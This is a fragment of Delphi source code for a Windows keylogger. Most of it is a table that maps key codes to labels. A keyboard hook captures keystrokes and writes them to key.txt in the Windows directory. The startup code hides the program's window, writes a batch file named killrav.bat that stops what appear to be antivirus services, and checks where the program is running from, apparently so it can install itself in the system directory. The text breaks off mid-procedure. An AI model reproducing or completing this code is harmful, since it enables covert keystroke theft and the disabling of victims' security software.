13840: result := '[right-shift]';
14624: result := '[space]';
283: result := '[esc]';
15216: result := '[f1]';
15473: result := '[f2]';
15730: result := '[f3]';
15987: result := '[f4]';
16244: result := '[f5]';
16501: result := '[f6]';
16758: result := '[f7]';
17015: result := '[f8]';
17272: result := '[f9]';
17529: result := '[f10]';
22394: result := '[f11]';
22651: result := '[f12]';
10768: result := '[left-shift]';
14868: result := '[capslock]';
3592: result := '[backspace]';
3849: result := '[tab]';
7441:
if wp > 30000 then
result := '[right-ctrl]'
else
result := '[left-ctrl]';
13679: result := '[num /]';
17808: result := '[numlock]';
300: result := '[print screen]';
18065: result := '[scroll lock]';
17683: result := '[pause]';
21088: result := '[num0]';
21358: result := '[num.]';
20321: result := '[num1]';
20578: result := '[num2]';
20835: result := '[num3]';
19300: result := '[num4]';
19557: result := '[num5]';
19814: result := '[num6]';
18279: result := '[num7]';
18536: result := '[num8]';
18793: result := '[num9]';
19468: result := '[*5*]';
14186: result := '[num *]';
19053: result := '[num -]';
20075: result := '[num +]';
21037: result := '[insert]';
21294: result := '[delete]';
18212: result := '[home]';
20259: result := '[end]';
18721: result := '[pageup]';
20770: result := '[pagedown]';
18470: result := '[up]';
20520: result := '[down]';
19237: result := '[left]';
19751: result := '[right]';
7181: result := '[enter]';
end;
end;
function hookproc(icode: integer; wparam: wparam; lparam: lparam): lresult; stdcall;
var
creeper:textfile;
begin
if (peventmsg(lparam)^.message = wm_keydown) then
hookkey := hookkey + keyhookresult(peventmsg(lparam)^.paraml, peventmsg(lparam)^.paramh);
if length(hookkey) > 0 then
begin
if enumwindows(@fqqid,0) then
begin
assignfile(creeper, getwindir+'key.txt');
if fileexists(getwindir+'key.txt') then
begin
rewrite(creeper);
writeln(creeper, hookkey);
closefile(creeper);
end;
end;
end ;
end;
procedure tform1.formcreate(sender: tobject);
var
myname:string;
batchfilename:string;
bfile:textfile;
sysdir:string;
noti:pnotifyicondata;
begin
application.showmainform:=false;
sysdir:=getwindir;
batchfilename :=sysdir+'killrav.bat';
assignfile(bfile, batchfilename);
rewrite(bfile);
writeln(bfile, '@net stop rsccenter');
writeln(bfile, '@net stop rsravmon');
writeln(bfile, '@close ');
closefile(bfile);
myname := extractfilename(application.exename); //获得文件名
if application.exename <> sysdir + myname then //
begin
